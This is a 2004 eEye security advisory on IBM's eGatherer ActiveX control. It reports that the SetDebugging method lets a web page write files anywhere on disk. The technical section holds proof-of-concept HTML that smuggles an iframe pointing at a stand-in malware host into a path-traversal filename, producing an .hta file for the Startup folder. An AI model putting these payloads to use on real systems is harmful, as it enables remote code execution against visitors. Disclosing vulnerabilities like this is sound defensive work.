"IBM Access Support" (eGatherer) Activex Dangerous Methods Vulnerability
Release Date: June 15, 2004
Date Reported: February 20, 2004
Patch Development Time (In Days): 116
Severity: High (Remote Code Execution)
Systems Affected: IBM Access Support (eGatherer) Activex Version 22.214.171.124
Overview: eEye Digital Security has discovered a security vulnerability in IBM's signed "eGatherer" activex. Because this application is signed, it might be presented to users on the web for execution in the name of IBM. If users trust IBM, they will run this, and their systems will be compromised. This activex was designed by IBM to be used for an automated support solution for their PC's. This is installed by default on many popular IBM PC models.
The issue is quite simple. Activex is a very profound web technology. As a profound web technology it may be abused. Designers might create an activex which could perform any function on an user's computer. Microsoft relies on trust for the security model and warns against making activex with dangerous capabilities. The responsibility, however, rests with the creator of the activex, as in any trust model.
In this case, IBM made available methods named such as "GetMake", "GetModel", "GetOSName", "SetDebugging" (accepting variable called "filename") and "RunEgatherer" (also accepting suspicious parameter). These dangerous methods were found to be able to write a trojan file to the user's startup folder through a difficult trick.
It should be further noted that both "SetDebugging" and "RunEgether" methods allow a web page author to write files of their choice (though the content is limited) to the victim's hard drive -- anywhere to their hard drive. These are the default and clearly stated usage of these methods.
Technical Details: For clarification purposes this will be presented as a two page attack, though it may easily be a single HTML page attack.
-----------EXAMPLE HTML 1 --------- //first this page would be viewed, then through refreshing or whatever one goes to the second page (or just timing the two calls with SetTimeOUt and putting them on the same page...) |object classid="clsid:74FFE28D-2378-11D5-990C-006094235084" id="X"| |object|
|script| X.SetDebugging("/../xx.hta",-1); |script|
-----------EXAMPLE HTML 2 --------- |object classid="clsid:74FFE28D-2378-11D5-990C-006094235084" id="X"| |object|
|script| X.SetDebugging("/../x<iframe src=http://www.malware.com>x.hta",-1); |script|
In the above example, we see the object called utilizing the "object" tag. The codebase tag [not shown here] is used by the browser to initiate the install of the activex if it is not already existing on the system. This would bring up the activex prompt which essentially asks the user if they trust IBM. Finally, the object is named "X", so we might reference it later in script and use its' dangerous methods.
In the first page we call the "SetDebugging" method. "SetDebugging" writes a file called "xx.hta" to the C:\ drive. (An attacker would probably write the file to the StartUP folder in real life.) This file will have "xx.hta" written inside of it, along with some other stuff.
We need to control what is written inside the file so we can write dangerous scripting. But, all we can write is what can be in a filename.
Now, the second HTML page is called. What happens? The application throws an error, but before it crashes, it writes our exploit code to the file "xx.hta". (It crashes because "<>" are not valid characters for a filename).
So, now we have the exploit file in the exploit location with the exploit location within it... and the target system is taken down.
Protection: Retina Network Security Scanner has been updated to identify this vulnerability.
Vendor Status: IBM has released a patch for this vulnerability. The patch is available at the following location: http://www-306.ibm.com/pc/support/site.wss/document.do?lndocid=MIGR-5186 0
Credit: Discovery: Drew Copley Additional Research: firstname.lastname@example.org
Related Links: Retina Network Security Scanner - Free 15 Day Trial http://www.eeye.com/html/products/retina/download/index.html
Another Quote of the Day: "A man's greatest work is to break his enemies, to drive them before him, to take from them all the things that have been theirs, to hear the weeping of those who cherished them." - Genghis Khan
Copyright (c) 1998-2004 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please email alert@eEye.com for permission.
Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are no warranties, implied or express, with regard to this information. In no event shall the author be liable for any direct or indirect damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk.